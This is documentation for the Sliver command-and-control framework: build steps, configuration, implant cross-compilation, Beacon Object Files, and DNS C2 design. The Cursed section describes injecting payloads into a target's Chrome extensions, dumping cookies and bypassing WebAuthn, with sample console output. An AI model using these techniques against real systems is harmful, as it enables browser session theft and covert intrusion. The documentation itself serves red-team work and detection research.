- https://blog.tofile.dev/2021/09/04/sliver.html
- https://bherunda.medium.com/hunting-detecting-smb-named-pipe-pivoting-lateral-movement-b4382bd1df4

### Threat Intel Reports

- https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
- https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors
- https://www.team-cymru.com/post/sliver-case-study-assessing-common-offensive-security-tools
- https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf

---

### Sliver Docs Pages Docs Md Compile From Source (`docs/sliver-docs/pages/docs/md/Compile from Source.md`)

Sliver can be compiled on Linux, macOS, and native Windows. Windows users can also build through the Windows Subsystem for Linux (WSL).

To compile from source you'll need:

- Go v1.27.2 or later
- `make` (on MacOS you may need to install XCode and accompanying cli tools)

```asciinema
{"src": "/asciinema/compile-from-source.cast", "cols": "132"}
```

### Compiling

```
$ git clone https://github.com/BishopFox/sliver.git
$ cd sliver
```

**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.

By default `make` will build whatever platform you're currently running on:

```
$ make
```

This will create `sliver-server` and `sliver-client` binaries.

Sliver embeds its own copy of the Go compiler and a few internal tools. The first time you run `make`, a Go asset tool will download these assets to your local system. This means the first build will take longer than subsequent builds, especially if your internet connection is slow.

### Cross-compile to Specific Platforms

You can also specify a target platform for the `make` file:

```
$ GOOS=windows GOARCH=amd64 make
```

### Docker Build

There are a few Docker targets available depending on your needs:

- `test` - Runs the unit tests
- `production` - Builds the production Docker image, including optional dependencies like Metasploit
- `production-slim` - Builds the production Docker image, but without Metasploit and other optional dependencies

From the project root directory run:

```
docker build --target production -t sliver .
```

#### Compiling Sliver on Kali Linux

```asciinema
{"src": "/asciinema/sliver-docker-production.cast", "cols": "132"}
```

The production Docker image includes Metasploit, so it can take a while to build from scratch, but Docker caches the layers. Unit tests run only when building the separate `test` target.

### Windows Builds

For a native Windows build, install Go, Git, and GNU Make, then run `make windows-amd64` from the repository root. Alternatively, use [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and follow the Linux/cross-compile instructions above. Run the resulting binaries in a terminal that supports ANSI sequences, such as [Windows Terminal](https://github.com/microsoft/terminal).

# Developers

If you want to modify any of the `.proto` files you'll need to set up a few additional tools to regenerate the `.pb.go` files.

The checked-in bindings record these tool versions:

- `protoc` v7.36.2 (as reported in the generated headers)
- `protoc-gen-go` v1.36.11
- `protoc-gen-go-grpc` v1.6.1

#### `protoc`

Install a compatible `protoc` release for your platform:

https://github.com/protocolbuffers/protobuf/releases/latest

Ensure that the correct `protoc` version is on your `$PATH`, you can check with a simple `protoc --version`

#### `protoc-gen-go` `protoc-gen-go-grpc`

Assuming `$GOPATH/bin` is on your `$PATH` simply run the following commands to install the appropriate versions of `protoc-gen-go` and `protoc-gen-go-grpc`:

```
go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.36.11
go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.6.1
```

Ensure that these are both on your `$PATH` after running the commands; if not, you probably need to add `$GOPATH/bin` to your `$PATH`. To regenerate the Protobuf and gRPC files run:

```
$ make pb
```

---

### Sliver Docs Pages Docs Md Configuration Files (`docs/sliver-docs/pages/docs/md/Configuration Files.md`)

### General Server Configuration

The Sliver server configuration file is located in the `configs` sub-directory of [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables); by default this is `~/.sliver/configs/server.yaml`.

If no configuration file exists, a default YAML configuration is generated and written to disk on startup. If a legacy `server.json` file exists, Sliver reads it, writes `server.yaml`, and renames the old file to `.server.json-old`.

AI configuration is stored separately in `configs/ai.yaml`. A legacy inline `ai` block is migrated only when that file does not already exist.

#### Default Server Config

```yaml
daemon_mode: false
daemon:
    host: ""
    port: 31337
    tailscale: false
    enable_wg: false
logs:
    level: 4
    grpc_unary_payloads: false
    grpc_stream_payloads: false
    tls_key_logger: false
    max_size_mb: 50
    max_backups: 20
    max_age_days: 90
    compress: true
grpc:
    keepalive:
        min_time_seconds: 30
        permit_without_stream: true
watch_tower: null
go_proxy: ""
http_default:
    headers:
        - method: GET
          name: Cache-Control
          value: no-store, no-cache, must-revalidate
          probability: 100
notifications:
    enabled: false
    services: {}
cc: {}
cxx: {}
```

#### Configuration Options

- `daemon_mode` - Enable [daemon mode](/docs?name=Daemon+Mode).
- `daemon` - Options for daemon mode.
  - `host` - Interface to bind the daemon listener to. Empty string means all interfaces.
  - `port` - Listen port for the multiplayer listener.
  - `tailscale` - Enable Tailscale for daemon listener setup. When enabled, Sliver does not wrap multiplayer in its own WireGuard layer.
  - `enable_wg` - Wrap multiplayer in WireGuard. If omitted or false, multiplayer is exposed directly over mTLS.
    - The legacy `disable_wg` field from the withdrawn WireGuard-by-default release does not enable WireGuard and is normalized to `enable_wg: false`. Set `enable_wg: true` explicitly to opt in.
- `logs` - Server logging options.
  - `level` - `logrus` level (`0`-`6`, clamped by Sliver). `4` is `INFO`, `5` is `DEBUG`, `6` is `TRACE`.
  - `grpc_unary_payloads` - Log gRPC unary payloads.
  - `grpc_stream_payloads` - Log gRPC streaming payloads.
  - `tls_key_logger` - Enable TLS key logging (for debugging/traffic analysis only; sensitive).
  - `max_size_mb`, `max_backups`, `max_age_days` - Log rotation size in MB, backup count, and maximum backup age in days (defaults: `50`, `20`, `90`).
  - `compress` - Compress rotated logs (default: `true`).
- `grpc.keepalive` - gRPC keepalive enforcement configuration.
  - `min_time_seconds` - Minimum time (seconds) between client pings before sending GOAWAY (`too_many_pings`).
  - `permit_without_stream` - Allow client pings when there are no active streams.
- `watch_tower` - Optional API keys for Watchtower integrations.
  - `vt_api_key` - VirusTotal API key.
  - `xforce_api_key` - IBM X-Force API key.
  - `xforce_api_password` - IBM X-Force API password.
- `go_proxy` - Optional `GOPROXY` override used by server-side builds.
- `http_default.headers` - Default HTTP headers for anonymous server responses.
  - `method` - HTTP method to apply to (for example `GET`).
  - `name` - Header name.
  - `value` - Header value.
  - `probability` - Percent chance (0-100) that the header is added.
- `notifications` - Server notification config. See [Notifications](/docs?name=Notifications) for the full schema.
- `cc` - Optional compiler overrides map (`GOOS/GOARCH` -> C compiler path).
- `cxx` - Optional compiler overrides map (`GOOS/GOARCH` -> C++ compiler path).

## Database Configuration

Sliver supports SQL database configurations in `~/.sliver/configs/database.yaml`.

If no configuration file exists, a default YAML configuration is generated and written to disk on startup. If a legacy `database.json` exists, Sliver reads it, writes `database.yaml`, and renames the old file to `.database.json-old`.

#### Default Database Configuration

```yaml
dialect: sqlite3
database: ""
username: ""
password: ""
host: ""
port: 0
params:
    cache: shared
pragmas:
    busy_timeout: "5000"
    journal_mode: WAL
    synchronous: NORMAL
    temp_store: MEMORY
max_idle_conns: 10
max_open_conns: 100
log_level: warn
```

#### Configuration Options

- `dialect` - Database backend (`mysql`, `postgresql`, or `sqlite3`).
- `database` - Database name (ignored for `sqlite3`).
- `username` - Database username.
- `password` - Database password.
- `host` - Database host.
- `port` - Database TCP port.
- `params` - Key/value map of dialect-specific DSN parameters.
- `pragmas` - SQLite pragma map. Used when `dialect` is `sqlite3` and `params` does not already set `_pragma`.
- `max_idle_conns` - Max idle DB connections (minimum enforced value is `1`).
- `max_open_conns` - Max open DB connections (minimum enforced value is `1`).
- `log_level` - GORM DB logging level (`silent`, `error`, `warn`, `info`).

With the default SQLite configuration, Sliver stores the DB at `~/.sliver/sliver.db`.

# Client Configuration

### Operator

Operator client configs are generated by the server and should be copied into `~/.sliver-client/configs/`. These files are currently JSON (`*.cfg`), not YAML.

For details on generating them, see [multiplayer mode](/docs?name=Multi-player+Mode).

```json
{
  "operator": "alice",
  "token": "<operator-auth-token>",
  "lhost": "localhost",
  "lport": 31337,
  "ca_certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n",
  "private_key": "-----BEGIN EC PRIVATE KEY-----\n...\n-----END EC PRIVATE KEY-----\n",
  "certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n"
}
```

**Note:** The `operator` field is mostly a local label in the client. Server-side identity is derived from the client certificate (`CommonName`) and token material generated by the server. If you need to rename an operator, generate a new client configuration.

The default operator profile does not contain a `wg` block, and the client connects directly to the multiplayer mTLS listener.

Multiplayer WireGuard is opt-in. Generate a WireGuard-enabled profile with `new-operator --enable-wg` or `sliver-server operator --enable-wg`; this adds the following block:

```json
"wg": {
  "enabled": true,
  "server_pub_key": "<multiplayer-wg-server-pubkey>",
  "client_private_key": "<operator-wg-private-key>",
  "client_pub_key": "<operator-wg-public-key>",
  "client_ip": "100.65.0.10",
  "server_ip": "100.65.0.1"
}
```

The listener must also be started with `multiplayer --enable-wg` or `sliver-server daemon --enable-wg`. The official client reads the profile and automatically uses WireGuard only when `wg.enabled` is true; otherwise it connects directly. A profile from the withdrawn WireGuard-by-default release may contain a `wg` block without the `enabled` field. Such a profile stays in direct mode unless you deliberately force WireGuard with `sliver-client --enable-wg`.

The client flags override the profile selection:

- `sliver-client --enable-wg` forces WireGuard and requires usable tunnel settings in the selected profile.
- `sliver-client --disable-wg` forces a direct gRPC/mTLS connection even when `wg.enabled` is true.
- Without either flag, `sliver-client` follows `wg.enabled`. The two override flags cannot be used together.

---

### Sliver Docs Pages Docs Md Cross Compiling Implants (`docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md`)

Any platform can cross-compile a standalone executable to any other platform out of the box; you primarily need cross-compilers when using CGO-based formats like `--format shared`, and for `--format shellcode` on macOS/Linux.

Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.

Sliver supports [External Builders](/docs?name=External+Builders), which can be used to easily cross-compile implants.

## From Linux to MacOS

Sliver embeds a Zig cross-compiler out of the box, so Windows shared library and shellcode implants from Linux do not require mingw-w64.

To compile MacOS shared library or shellcode payloads from Linux, we recommend using [OSX Cross](https://github.com/tpoechtrager/osxcross) by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS-based machine you can use GitHub Actions' MacOS instances to build OSXCross.

**NOTE:** Sliver expects the root of the osxcross git repo to be located at `/opt/osxcross` and the actual binaries in `/opt/osxcross/target/bin`.

An example deployment is shown below, you have to procure the `MacOSX123.sdk.tar.xz` yourself due to license restrictions (see the OSXCross GitHub for more details). It is recommended to use the llvm-based version (i.e. the `2.0-llvm-based` branch) of osxcross:

For a MacOS machine, if you don't have one handy I recommend using a MacOS GitHub Actions runner:

```shell
git clone https://github.com/tpoechtrager/osxcross.git
cd osxcross
./tools/gen_sdk_package.sh
```

From your Linux server, commands may differ slightly depending on your Linux distribution, just ask ChatGPT for help if you need it:

```shell
sudo apt-get install -y clang cmake git patch python3 libssl-dev lzma-dev libxml2-dev xz-utils bzip2 cpio libbz2-dev zlib1g-dev llvm-dev uuid-dev
git clone --depth 1 -b 2.0-llvm-based https://github.com/tpoechtrager/osxcross.git
cd osxcross
curl -o ./tarballs/MacOSX123.sdk.tar.xz 'https://example.com/MacOSX123.sdk.tar.xz'

TARGET_DIR=/opt/osxcross ENABLE_ARCHS="arm64 x86_64" ./build.sh
```

Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).

## From MacOS to Linux/Windows

Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects/shellcode do not require mingw-w64 or musl-cross.

However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).

## From Windows to MacOS/Linux

Good luck.

---

### Sliver Docs Pages Docs Md Cross Platform BOFs (`docs/sliver-docs/pages/docs/md/Cross-platform BOFs.md`)

Sliver's built-in [Reflektor](https://github.com/sliverarmory/reflektor/tree/v0.0.8) executor runs Beacon Object Files (BOFs) on Windows, macOS, and Linux. A BOF is a relocatable native object with an entry point such as `go(char *args, int length)` and Beacon callbacks for arguments and output. It executes inside the implant process.

This page covers writing and compiling basic BOFs. For Armory installation, argument manifests, and compatibility with older components, see [BOF and COFF Support](/docs?name=BOF+and+COFF+Support). Projects with CNA wrappers can also use [OPFOR](/docs?name=OPFOR).

## Platform support

The following targets support built-in BOF execution in Sliver:

| Implant OS | Implant architecture (`GOARCH`) | Object format | Typical compiler |
| --- | --- | --- | --- |
| Windows (`windows`) | `386`, `amd64`, `arm64` | COFF relocatable object | MinGW-w64 GCC or Clang targeting Windows |
| macOS (`darwin`) | `amd64`, `arm64` | Mach-O relocatable object (`MH_OBJECT`) | Apple Clang |
| Linux (`linux`) | `386`, `amd64`, `arm64` | ELF relocatable object (`ET_REL`) | GCC or Clang targeting Linux |

The object must match the **implant's** operating system and CPU architecture, regardless of the client or server platform. `amd64` means x86-64; `386` means x86; `arm64` means AArch64. The `.o` suffix alone does not identify the format. Compile a separate artifact for each OS/architecture pair; renaming a Windows COFF object does not turn it into a Linux or macOS BOF.

Reflektor also accepts legacy ELF BOFs on macOS when they match the host architecture and ABI. Use native Mach-O for new macOS BOFs. Reflektor's standalone library supports additional targets, but the table above describes Sliver's built-in integration.

Use compatible client, server, and implant versions with the `bof_v1` capability. Setting `"bof_executor": "reflektor"` explicitly selects built-in execution when that capability is available. The examples below require this support and do not need a COFF Loader dependency. See [BOF and COFF Support](/docs?name=BOF+and+COFF+Support) for the optional legacy fallback.

## Basic examples

These three examples take no arguments and emit one message through `BeaconOutput`. Save the source files in a directory named `hello-bof`. Run the compiler commands from that directory; each command produces an object with `-c` rather than linking an executable or shared library.

The declarations are included directly to keep the examples self-contained. Windows imports use `__declspec(dllimport)`; Unix platforms use normal external symbols. The supported targets use 32-bit `int` for the entry-point length and Beacon callback parameters.

### Windows: COFF

Save as `hello-windows.c`:

```c
__declspec(dllimport) void BeaconOutput(int type, char *data, int length);

void go(char *args, int length) {
    static char message[] = "Hello from a Windows BOF!\n";
    (void)args;
    (void)length;
    BeaconOutput(0, message, (int)(sizeof(message) - 1));
}
```

With a MinGW-w64 cross compiler, build the Windows x86-64 object:

```bash
x86_64-w64-mingw32-gcc -Os -c -fno-stack-protector \
  -fno-unwind-tables -fno-asynchronous-unwind-tables \
  hello-windows.c -o hello.windows.amd64.o
```

For a Windows x86 implant, use `i686-w64-mingw32-gcc` with the same flags and name the result `hello.windows.386.o`. For Windows ARM64, Clang can compile this header-free example:

```bash
clang --target=aarch64-w64-windows-gnu -Os -c -fno-stack-protector \
  -fno-unwind-tables -fno-asynchronous-unwind-tables \
  hello-windows.c -o hello.windows.arm64.o
```

Existing Windows BOFs may import system functions using names such as `KERNEL32$GetCurrentProcessId`. Those imports and their calling conventions remain Windows-specific; port the source and imports before compiling for another OS.

### macOS: Mach-O

Save as `hello-macos.c`:

```c
extern void BeaconOutput(int type, char *data, int length);

void go(char *args, int length) {
    static char message[] = "Hello from a macOS BOF!\n";
    (void)args;
    (void)length;
    BeaconOutput(0, message, (int)(sizeof(message) - 1));
}
```

On macOS, install the Xcode Command Line Tools (`xcode-select --install`) if Clang is unavailable. Build separate objects for Apple Silicon and Intel implants:

```bash
clang -arch arm64 -Os -c -fno-stack-protector \
  -fno-unwind-tables -fno-asynchronous-unwind-tables \
  hello-macos.c -o hello.darwin.arm64.o

clang -arch x86_64 -Os -c -fno-stack-protector \
  -fno-unwind-tables -fno-asynchronous-unwind-tables \
  hello-macos.c -o hello.darwin.amd64.o
```

Keep these as separate thin Mach-O objects. Reflektor does not accept a universal/fat BOF object. Clang prefixes the C symbols with `_` in Mach-O; the default `go` entry-point selection handles `_go` automatically.

**Apple Silicon:** Native Mach-O `arm64` BOFs must use `BeaconOutput` for output. Reflektor rejects `BeaconPrintf` and `BeaconFormatPrintf` imports for this format because Apple's variadic calling convention differs from the callback bridge. The example above works on both macOS architectures.

### Linux: ELF

Save as `hello-linux.c`:

```c
extern void BeaconOutput(int type, char *data, int length);

void go(char *args, int length) {
    static char message[] = "Hello from a Linux BOF!\n";
    (void)args;
    (void)length;
    BeaconOutput(0, message, (int)(sizeof(message) - 1));
}
```

On an x86-64 Linux build host, use GCC to produce an ELF object:

```bash
gcc -m64 -Os -c -fPIC -fno-stack-protector \
  -fno-unwind-tables -fno-asynchronous-unwind-tables \
  hello-linux.c -o hello.linux.amd64.o
```

For a Linux x86 implant, replace `-m64` with `-m32` and name the result `hello.linux.386.o`; this requires a compiler with 32-bit target support. For ARM64, use a Linux AArch64 cross compiler:

```bash
aarch64-linux-gnu-gcc -Os -c -fPIC -fno-stack-protector \
  -fno-unwind-tables -fno-asynchronous-unwind-tables \
  hello-linux.c -o hello.linux.arm64.o
```

On a native ARM64 Linux build host, `gcc` with the same flags as the ARM64 command produces the ARM64 object. Do not use a macOS host's default `clang` or `gcc` command to build a Linux BOF without selecting a Linux target.

## Load and run in Sliver

Save the following `extension.json` beside the compiled objects in `hello-bof`. The command uses Sliver's modern manifest format, with execution settings inside `commands`. Keep only the `files` entries for artifacts you have built; add `386` or Windows `arm64` entries if you built those variants.

```json
{
  "name": "hello-bof",
  "version": "1.0.0",
  "extension_author": "Example Author",
  "commands": [
    {
      "command_name": "hello-bof",
      "help": "Print a greeting from a platform-native BOF",
      "bof_executor": "reflektor",
      "entrypoint": "go",
      "files": [
        {
          "os": "windows",
          "arch": "amd64",
          "path": "hello.windows.amd64.o"
        },
        {
          "os": "darwin",
          "arch": "amd64",
          "path": "hello.darwin.amd64.o"
        },
        {
          "os": "darwin",
          "arch": "arm64",
          "path": "hello.darwin.arm64.o"
        },
        {
          "os": "linux",
          "arch": "amd64",
          "path": "hello.linux.amd64.o"
        },
        {
          "os": "linux",
          "arch": "arm64",
          "path": "hello.linux.arm64.o"
        }
      ],
      "arguments": []
    }
  ]
}
```

Copy the directory to your operator machine if you compiled on another host, then load it into the Sliver client:

```text
sliver > extensions load /absolute/path/to/hello-bof
sliver > use <session-or-beacon-id>
sliver (selected-target) > hello-bof
```

Sliver selects the artifact using the active session or beacon's exact `os`/`arch` pair. A macOS ARM64 target prints `Hello from a macOS BOF!`; Windows and Linux targets print the corresponding greeting. Sessions return output immediately; beacon output arrives with the asynchronous task result.

For BOFs with arguments, declare them in the manifest in the same order and types consumed by `BeaconDataParse`, `BeaconDataInt`, `BeaconDataShort`, and `BeaconDataExtract`. Sliver packs the arguments into the length-prefixed Beacon format. See the argument type table and conversion example in [BOF and COFF Support](/docs?name=BOF+and+COFF+Support).

## Compatibility and troubleshooting

Reflektor implements the Beacon data, format, and output callbacks, including `BeaconOutput` and supported `BeaconPrintf` calls. It preserves output channel values such as normal output (`0`) and errors (`13`). It does not implement every Beacon integration API: token manipulation, temporary-process, and process-injection callbacks require host integration and fail explicitly when unavailable. Check the [Reflektor BOF documentation](https://github.com/sliverarmory/reflektor/blob/v0.0.8/README.md#beacon-object-files) before importing additional Beacon APIs.

- **No artifact for the target:** Add the exact `files` entry with Go OS/architecture names, such as `darwin`/`arm64`, and the matching object. Paths are relative to `extension.json`; parent-directory traversal is not allowed.
- **Missing built-in support:** Upgrade the client and server and regenerate the implant with BOF support. An older running implant does not gain the capability when only the client is upgraded.
- **Wrong format or machine:** Inspect the object with `file`, `llvm-readobj`, or `objdump`. Check both the OS format and architecture, then rebuild for the implant.
- **Unresolved import:** Use the correct platform ABI and symbol spelling. Windows DLL imports do not carry over to Unix. The examples avoid standard-library and system-library dependencies.
- **Entry point not found:** Export a non-static `go` function with the signature shown above. C++ sources must use `extern "C"` to avoid name mangling. Custom entry points use the exact object symbol name, including Mach-O's leading underscore.

BOFs run native code in the implant process. Keep the entry point short and return normally; crashes or process-exit calls can terminate the implant. Worker threads using Beacon callbacks must finish before the entry point returns because output capture and object lifetime are tied to that execution.

---

### Sliver Docs Pages Docs Md Cursed (`docs/sliver-docs/pages/docs/md/Cursed.md`)

Cursed is a Chrome/Chromium/Edge/Electron post-exploitation toolkit that integrates with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) (originally [Sliver Overlord](https://github.com/BishopFox/sliver-overlord)). It can automatically find existing Chrome extensions with the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) and remotely inject it onto the target system, or you can start an interactive REPL to inject arbitrary code into any Chrome/Chromium/Edge/Electron context.

Since web requests and other activity originate from the target machine/browser instance, Cursed Chrome and the Cursed toolkit are excellent options for bypassing U2F/Webauthn, hardware attestation, and geo-IP restrictions in web applications.

## Cursed Chrome

The `cursed chrome` command can be used to restart a remote system's Chrome browser with remote debugging enabled. If no payload is specified using `--payload` the command will simply restart Chrome with remote debugging enabled; you can then use `cursed console` to interact with any debug target.

If a payload is specified, the command will restart Chrome with remote debugging, enumerate installed browser extensions, determine if any extension has the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome), and inject the payload into the extension's execution context.

So a typical workflow looks like:

1. Set up [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
2. Pop a Sliver session or go interactive from a beacon
3. `cursed chrome --payload background.js`
4. Upstream browser to CursedChrome proxy
5. Enjoy!

## Cursed Edge

Works identically to `cursed chrome` but the UI displays "Edge" instead of "Chrome" much like Edge itself.

## Cursed Electron

The `cursed electron` command can be used to restart an Electron application with remote debugging enabled, you can subsequently use `cursed console` to interact with any debug target. Note that some Electron applications disable the remote debugging functionality, which will prevent this feature from working.

## Cursed Console

The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. 

## Cursed Cookies

The `cursed cookies` command can be used to dump a remote cursed process's cookies to a local file (newline-delimited JSON), for example:

```
[server] sliver (CHRONIC_GOAT) > cursed chrome

...

[server] sliver (CHRONIC_GOAT) > cursed cookies

? Select a curse: 44199  [Session 56a5cd6f]  /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[*] Successfully dumped 437 cookies
[*] Saved to cookies-20220925182151.json

```

---

### Sliver Docs Pages Docs Md Custom Clients (`docs/sliver-docs/pages/docs/md/Custom Clients.md`)

Although the `sliver-client` is the default way to interact with a `sliver-server` and with implant sessions, there might be a time where you would want to automate some tasks upon reception of certain events.

To do so, you can use [sliver-script](https://github.com/moloch--/sliver-script), [sliver-py](https://github.com/moloch--/sliver-py), or write a custom client in another language.

Sliver exposes multiplayer directly over gRPC/mTLS and generates direct operator configs by default. The multiplayer WireGuard wrapper is enabled explicitly on the listener and when the operator profile is generated. A WireGuard-enabled profile records that choice as `wg.enabled: true`.

If you are writing a custom client in another language, you have two options:

- Use the default direct gRPC/mTLS multiplayer mode, which works with a standard gRPC client and a default operator profile.
- Implement the multiplayer WireGuard wrapper described in [multiplayer mode](/docs?name=Multi-player+Mode). Opt into it with `multiplayer --enable-wg` or `sliver-server daemon --enable-wg`, generate a matching profile with `new-operator --enable-wg` or `sliver-server operator --enable-wg`, and honor `wg.enabled` when selecting the transport. A legacy profile that has a `wg` block but no `enabled` field should remain direct.

Once connected, the client/server API is still gRPC, so any language with gRPC support can in theory be used to create a custom client.

## Writing a Go client

This example uses Sliver's Go client libraries. `transport.MTLSConnect` automatically follows the selected profile in `transport.MultiplayerConnectAuto` mode: `wg.enabled: true` selects WireGuard, while a missing or disabled marker selects direct gRPC/mTLS. Applications that expose manual transport controls can call `transport.SetMultiplayerConnectMode` with `transport.MultiplayerConnectEnableWG` or `transport.MultiplayerConnectDisableWG` before connecting.

In this example, we will focus on writing a custom Go client that executes a new system command on every new implant that connects to the sliver server.

Create a new Go project somewhere on your file system:

```
mkdir sliver-custom-client
cd sliver-custom-client
touch main.go
go mod init github.com/<your-username>/<your-project-name>
go get github.com/bishopfox/sliver
```

The module path (`github.com/<your-username>/<your-project-name>`) can be anything, as long as it respects the [requirements](https://golang.org/ref/mod#go-mod-init).

The next step is to write our client code (`main.go`):

```
/* Detailed source-code truncated for AI context efficiency. */
```

Finally, run `go mod tidy` to make sure to have all the external dependencies, and run `go build .` to build the code.

That's it, you wrote your first custom client in Go for sliver.

---

### Sliver Docs Pages Docs Md DNS C2 (`docs/sliver-docs/pages/docs/md/DNS C2.md`)

DNS can be a finicky, nuanced protocol. If you're unfamiliar with DNS and related concepts, I'd recommend reading up on the protocol and ecosystem a bit before leveraging it for C2.

# Setup

Use the following steps to configure a domain for DNS C2 (and DNS Canaries). You can use any DNS provider you wish as long as you set up the records correctly. I recommend setting a TTL of ~5 minutes for each record.

1. Create an `A` record for your `example.com` pointing at your Sliver server (or redirector) IP address.
2. Create an `A` record for an `ns1` subdomain (i.e. `ns1.example.com`) that points to your Sliver server (or redirector) IP address.
3. Create an NS record with an arbitrary subdomain, for example `1` (i.e. `1.example.com`) which is managed by `ns1.example.com`.
4. You can now use `1.example.com` as your DNS C2 domain e.g. `generate --dns 1.example.com.` (always use the FQDN when issuing DNS commands).

**IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., `1.example.com.` note the trailing `.`). DNS is a finicky protocol!

The final configuration should look like this for the domain `lil-peep.rip`:


**IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs.

### DNS Listeners

Make sure you have a DNS listener running, and use the FQDN again. Sliver will not be able to correctly parse C2 traffic if the parent domain is misconfigured:

```
sliver > dns --domains 1.example.com.

[*] Starting DNS listener with parent domain(s) [1.example.com.] ...
[*] Successfully started job #1
```

### DNS Canaries

DNS Canaries are unique per-binary domains that are optionally inserted during the string obfuscation process. These domains are not actually used by the implant code and are deliberately _not obfuscated_ so that they show up if someone runs `strings` on the implant. If these domains are ever resolved (and you have a `dns` listener running) you'll get an alert telling you which specific file was discovered by the blue team.

Example `generate` command with canaries, make sure to use the FQDN:

```
sliver > generate --http foobar.com --canary 1.example.com.
```

You can view previously generated canaries with the `canaries` command.

### Ubuntu

**NOTE:** On recent versions of Ubuntu, you may need to disable `systemd-resolved` as this binds to your local UDP:53 and messes up everything about how DNS is supposed to work. To use a sane DNS configuration run the following commands as root because `resolved` probably broke `sudo` too:

```
systemctl disable systemd-resolved.service
systemctl stop systemd-resolved
rm -f /etc/resolv.conf
vim /etc/resolv.conf
```

Add a normal `resolv.conf`:

```
nameserver 1.1.1.1
nameserver 8.8.8.8
```

# Under the Hood

**NOTE:** This describes the current implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](/docs?name=Transport+Encryption); this is just about how we move bytes back and forth.

### Design Goals

The current implementation of DNS C2 is primarily designed for "speed" (as far as DNS tunnels go) NOT stealth; it does not intend to be subtle in its use of DNS to tunnel data. While DNS can be a very useful protocol for stealthy signaling, Sliver here is creating a full-duplex tunnel; doing so covertly would generally be far too slow to be practical. The general rule of thumb is that DNS C2 is easy to detect _if you look_. That's not to say DNS C2 isn't useful or will be immediately detected, as often no one looks. As DNS does not require direct "line of sight" networking, it is often useful for tunneling out of highly restricted networks, and if the environment has not been instrumented to specifically detect DNS C2 it will likely go undetected.

For example glossing over some details, if a DNS client attempts to `foo.1.example.com` it will query its local resolver for an answer. If the resolver does not know the answer it will start "recursively" resolving the domain, eventually finding its way to the "authoritative name server" for the domain, which is controlled by the owner of `example.com`. DNS C2 works by stuffing data in a subdomain, and then sending a query for that subdomain to the authoritative name server.

```
[implant] <--> [resolver]
                  |<------> [.]
                  |<------> [.com.]
                  |<------> [example.com.] (attacker controlled)
```

This allows an implant to establish a connection to an attacker-controlled host even when the implant cannot route TCP or UDP traffic to the internet. The tradeoff is that DNS queries are generally very small; in fact, if we're lucky we can maybe encode around ~175 bytes per query (more on that later). So if you want to download a 2 MB file then we're going to have to send _a lot of_ queries, which means that DNS communication is going to be _slow_ (~30 Kbps) even at the best of times.

### Rude DNS Resolvers

The novice hacker often may think that something like DNS, being a fundamental building block of the internet, would be strictly defined and implemented. This of course could not be further from reality; the DNS protocol specification is really more what you call "guidelines" than actual rules. It is common for DNS resolvers to ignore TTL values, modify query contents, drop packets, and lie in responses. Since we cannot control what resolvers we may need to use in an operational environment, and we want to build reliable C2 connections, we must expect this type of behavior and design around it.

### Encoder Selection

So if we want to build a "fast" DNS tunnel, we need to be able to pack as much data into each request as possible, more data per query the fewer queries we need to send for a given message.

So how much data can we stuff into a DNS query? Well let's take a look at what goes into a DNS query, a DNS query contains some header fields and then a "questions" section, a single query may contain multiple questions. For example, we can ask "is there an A record for example.com" (an A records contain IPv4 addresses). Now, we can encode a handful of bits into some of the header fields and a couple other sections like the Type/Class, but by far the largest field is `QNAME`, which contains the domain we're asking a question about:

```
                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                                               |
    /                     QNAME                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     QTYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     QCLASS                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
```

Thus we'll focus on encoding data into the `QNAME` (the domain), domains can be up to 254 characters in length and may only contain ASCII `a-z`, `A-Z`, `0-9`, `-`, but `-` may not appear at the beginning of a name, and of course `.` separators. Each subdomain is separated by a `.` and may be up to 63 characters in length. However, DNS is a case-insensitive protocol thus `a` and `A` are considered equal from DNS' standpoint. Now as I said before the spec is really more guidelines than rules, so both `a` and `A` are technically allowed they're just considered equal in DNS' semantics.

